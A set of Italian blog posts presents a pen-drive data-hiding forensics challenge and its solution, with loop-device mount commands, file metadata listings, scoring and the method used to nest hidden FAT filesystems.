Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2008-10-21 01:00:00.000000000 +0200
Modify: 2008-10-21 13:26:34.000000000 +0200
Change: 2008-10-21 13:26:56.000000000 +0200
  File: `img_0155.jpg'
  Size: 2882079   	Blocks: 5632       IO Block: 4096   regular file
Device: 701h/1793d	Inode: 7           Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2008-10-21 01:00:00.000000000 +0200
Modify: 2008-10-21 13:26:38.000000000 +0200
Change: 2008-10-21 13:26:56.000000000 +0200
  File: `img_0156.jpg'
  Size: 3447899   	Blocks: 6736       IO Block: 4096   regular file
Device: 701h/1793d	Inode: 8           Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2008-10-21 01:00:00.000000000 +0200
Modify: 2008-10-21 13:26:40.000000000 +0200
Change: 2008-10-21 13:26:57.000000000 +0200
  File: `img_0477.jpg'
  Size: 2107408   	Blocks: 4120       IO Block: 4096   regular file
Device: 701h/1793d	Inode: 9           Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2008-10-21 01:00:00.000000000 +0200
Modify: 2008-10-21 13:26:46.000000000 +0200
Change: 2008-10-21 13:26:57.000000000 +0200

Il conteggio delle bandierine è presto fatto:

  • 4 per il filesystem (tipo, dimensione, libero/occupato)
  • 4 per i file trovati
  • Per ogni file sono 5 bandierine: nome, dimensione ed i tre orari, accesso, modifica, creazione.

In totale fanno 28 punti per questo filesystem.

Passiamo ora a quello che si è rivelato più difficile da trovare. E’ “contenuto” all’interno di quello normalmente visibile, è in FAT16 ed ha etichetta nascosto2. Questi i suoi dati dimensionali:

  • Totale: 409.378.816 byte
  • Usati: 516.096 byte
  • Liberi: 408.862.720 byte

Per poterlo montare senza lamentele, prima si crea il loop device così:

# losetup -o 512000000 /dev/loop2 pen-drive.dd

poi si procede al mount:

# mount -t vfat /dev/loop2 /media/loop2 -o ro,noatime

Et-voilà. Ora passiamo ai file, solo due, entrambi PDF, datasheet di componenti elettronici: una memoria RAM ed un controller per porte seriali.
Come sopra, lavorando di ls e stat abbiamo tutto quello che ci serve:

# ls -l
-rwxr-xr-x 1 root root 364643 21 ott 13:32 16c450.pdf
-rwxr-xr-x 1 root root 146960 21 ott 13:33 62256.pdf
# stat *
  File: `16c450.pdf'
  Size: 364643    	Blocks: 720        IO Block: 8192   regular file
Device: 702h/1794d	Inode: 12          Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2008-10-21 01:00:00.000000000 +0200
Modify: 2008-10-21 13:32:46.000000000 +0200
Change: 2008-10-21 13:32:46.000000000 +0200
  File: `62256.pdf'
  Size: 146960    	Blocks: 288        IO Block: 8192   regular file
Device: 702h/1794d	Inode: 13          Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2008-10-21 01:00:00.000000000 +0200
Modify: 2008-10-21 13:33:18.000000000 +0200
Change: 2008-10-21 13:33:18.000000000 +0200

Il conteggio delle bandierine in questo caso è di 16, 4 per il filesystem, 2 i file, 5 per file per i metadati.

In totale è possibile totalizzare 44 punti. Andando di solo carving al massimo si ottengono 12 punti (6 per i file e per ogni file l’unico metadato disponibile è la dimensione).

La classifica

A pieni punti abbiamo:

  • Denis Frati, veloce, accurato e preciso (e su di lui non avevo alcun dubbio, bravo Denis!)
  • Daniele Murrau, sintetico e preciso
  • Davide Paltrinieri, una giovane promessa che ha dimostrato tenacia e intuito, a cui va un plauso aggiuntivo per il fatto di essere da poco utente Linux, e quindi con la difficoltà ulteriore di trovarsi a “domare” un sistema operativo poco conosciuto (…non oso pensare a cosa potrà fare fra qualche anno. E’ meglio tenerselo come amico, ecco)

Seguono le menzioni d’onore:

che pur impegnandosi hanno “mancato” il secondo filesystem nascosto, quello con etichetta nascosto2. Bravi comunque.
Se lo desiderate potete pubblicare nei vostri siti/blog un post con la procedura seguita per trovare le vostre bandierine, e se me lo notificate aggiungo il link alla vostra spiegazione.

La procedura per creare il pen drive

Non è molto lunga, né complicata, una volta capito l’uso dei loop device. Il pen drive conteneva una unica partizione da due gigabyte, al momento dell’acquisto. Ho provveduto a cancellarla ed a crearne una che occupasse circa la metà dello spazio disponibile, formattandola in FAT32.

Ho poi creato un loop device che puntasse esattamente al primo settore dopo la partizione visibile, usando il comando visto sopra. In questo modo ho potuto lavorare su nascosto1 senza creare partizioni, formattandolo in FAT32 e copiandoci sopra i file delle quattro immagini.

A questo punto ho messo mano al terzo filesystem, il secondo nascosto. Ho creato un loop device che partiva dal byte 512.000.000 del pen drive, in modo da avere un numero facile da ricordare (come hanno correttamente ipotizzato Denis e Davide). Il problema è che il loop device “termina” alla fine fisica del pen drive, ossia dopo 1,5 gigabyte, quindi se si va a formattare il loop device si corre il rischio di cancellare il filesystem nascosto creato in precedenza. Viene in aiuto il comando mkdosfs di Linux che consente di specificare di quanti blocchi da 1 kilobyte è composto il filesystem. Ho assegnato 400 megabyte per questo secondo filesystem, in modo da poter preservare l’altro nascosto. Qui sotto una figura che riassume la geometria dei tre filesystem.

La struttura dei filesystem nel pen drive

La struttura dei filesystem nel pen drive

Ecco tutto. Quindi niente di esoterico, né da guru, solo un po’ di fantasia e di conoscenze dei vari filesystem.

Considerazioni finali

Finalità del game era appunto di offrire un momento di svago utile, con lo scopo neanche tanto nascosto di fornire un minimo di spunti di approfondimento. Loop device, filesystem, partizioni, geometrie, tutti concetti abbastanza basilari, ma troppo spesso dimenticati, nascosti da troppe “finestre e pulsanti”.

Altro intento era di mostrare che il solo carving non risolve tutto. Foremost in pochi secondi estrae tutti i file dall’immagine del pen drive, ma non offre informazioni su tempi e modi in cui i file sono giunti sul supporto. In un caso reale probabilmente la ricostruzione della timeline può essere fondamentale. Come fondamentale può essere la dimostrazione dell’intento, ossia che la struttura dei filesystem contenuti sul supporto è intenzionalmente mirata a nasconderne parte del contenuto.

La sofisticazione nei metodi usati è stata volutamente tenuta ad un livello basso, senza stratificare altri tipi di data hiding. Nella vita reale un tale metodo non resisterebbe a lungo all’analisi di una persona competente. Inoltre vi sono forti controindicazioni per la integrità dei dati nel tempo: un errore di manovra e dati scritti nella partizione visibile possono andare a sovrascrivere porzioni vitali dei dati o della struttura del filesystem della partizione da 400 Mbyte, quella col nome nascosto2.

Ecco anche il motivo per scegliere FAT come filesystem: le strutture di lavoro sono tutte concentrate all’inizio della partizione, per cui si può essere ragionevolmente certi che da un certo punto in poi niente viene scritto o letto durante il normale accesso al filesystem, rendendo possibile “includere” un altro filesystem al suo interno. Questo ad esempio con ext2/3 non è possibile, perché le strutture di supporto e di lavoro del filesystem sono sparse per tutta la partizione, per ragioni di efficienza e prestazioni. Quindi includere un altro filesystem in esso, completamente invisibile, è quasi impossibile.

E’ tutto. Ancora grazie a tutti i partecipanti. Al prossimo gioco.

Tags: ,

Data hiding: un pen drive “multistrato”

Dec 2

Pubblicato da Mario Pascucci in Giochi e sfide "numeriche", Information security | 3 commenti

Avevo approntato un particolare pen drive per una presentazione riguardante tecniche di data hiding. Se non avete altro da fare e vi piace giocare, vi propongo un semplice capture the flag.

Antefatto

Un normalissimo pen drive, acquistato in un centro commerciale per pochi euro. Dentro vi ho nascosto dei dati sotto forma di normali file (immagini e testi).
Usando foremost o photorec (due applicazioni tipicamente di uso forense) potreste trovare immediatamente i dati ed i file, ma… Dove sarebbe il gusto del gioco?

Le bandierine da conquistare

  • Una bandierina per ogni filesystem che riuscirete a montare senza errori (ossia senza che il sistema operativo lamenti errori), a parte quello non nascosto.
  • Una bandierina per ogni informazione che riuscirete ad estrarre dal singolo filesystem, in particolare: etichetta del volume, tipo di filesystem, dimensione totale, spazio occupato/libero.
  • Una bandierina per ogni file che riuscirete a trovare.
  • Una bandierina per ogni informazione trovata sul singolo file nascosto, ossia: nome originale, date di modifica/accesso/creazione.

Il “reperto”

L’immagine dell’intero pen drive, ottenuta con “dd”, è in un file zip da 26 megabyte, attenzione che una volta esploso occuperà 2 gigabyte, quindi procurate di avere spazio disco a sufficienza.
Il reperto è prelevabile qui:
Pen drive data hiding game (novembre 2008)

Le regole

  • Prima regola: NON SI VINCE NIENTE. Ma proprio niente, neanche un misero link nel blogroll.
  • Seconda regola: le risposte solo per e-mail, usando uno dei miei contatti. Qualsiasi altra forma di comunicazione semplicemente verrà ignorata.
  • Terza regola: messaggi/post/annunci in mailing list tipo “è una scemenza” “è facile” “non mi ci spreco nemmeno” non fanno comunque vincere niente, ma si fa una figura peggiore. Se non interessa partecipare, non si partecipa e punto, nessuno ne sentirà la mancanza.
  • Quarta regola: usate quello che vi pare, le procedure che volete, gli strumenti che preferite. Se volete potete citarli nel messaggio-soluzione, ma non è importante.
  • La regola della vittoria: vince chi trova più bandierine, documentandole. Dato che decido io cosa è giusto e cosa non lo è, dovete essere convincenti.

Livello di competenza richiesto

Non è un game particolarmente difficile, anche se occorre avere un po’ di esperienza. Il tipo di data hiding utilizzato è piuttosto semplice, anzi, quasi banale. Però, dato che stiamo parlando di didattica, è una buona palestra.

La soluzione

Verrà pubblicata più avanti, anche se nessuno parteciperà.

E’ tutto. Buona esplorazione.

Tags: ,

Compiti per le vacanze

Jul 21

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche", Information security | Disattiva commenti

Regole:

  • Non si vince niente
  • Non dovete linkarmi
  • Vince chi mette più dettagli: dove come perché quando cosa
  • Perde chi non partecipa

Cos’è questo:

Risposte solo via mail.

Sarò meno presente nei prossimi giorni. Vado in modalità “risparmio energetico”, sperando di ricaricarmi un po’. Quanfo ritorno a piena potenza avrete risposte risposte e spiegazioni.

Volete un aiuto? Per intanto la categoria assegnata dovrebbe suggerire qualcosa.

Per il resto, you’re on your own (sempre gradito Alan Parsons).

Tags:

Test di Computer Forensics #2: strumenti o competenza?

Nov 21

Pubblicato da Mario Pascucci in Computer Forensics, Giochi e sfide "numeriche" | 4 commenti

Massimiliano mi autorizza a pubblicare un test di Informatica Forense (traduzione di Computer Forensics) che ci ha sottoposto qualche tempo fa. Da questo test ne è poi scaturita una discussione ricca di considerazioni sulla priorità tra strumenti e competenza (o intuito professionale, se vogliamo dare un altro nome).

Il test viene con la soluzione, quindi non si vince nulla, è solo un utile esercizio. La soluzione, che ho trovato per primo (fatemi vantare un po’ ogni tanto…) mi ha fruttato un piccolo dispositivo per l’analisi delle sim card offerto da IISFA.

Questa la storia, al solito totalmente inventata:
Il file da analizzare è questo, l’unica digital evidence disponibile per le indagini: è una e-mail intercettata, si teme possa nascondere un messaggio in codice relativo ad un imminente attacco terroristico. I sospettati usano un metodo non convenzionale per nascondere i dati. Il file cifrato con 256 AES e non c’e’ il tempo di forzare la password con un attacco brute force!

Lo scopo è rilevare il messaggio nel più breve tempo possibile, ed ovviamente la procedura deve essere documentata e ripetibile.

Per la soluzione e le considerazioni basta continuare a leggere il resto.

Prosegui la lettura »

Tags: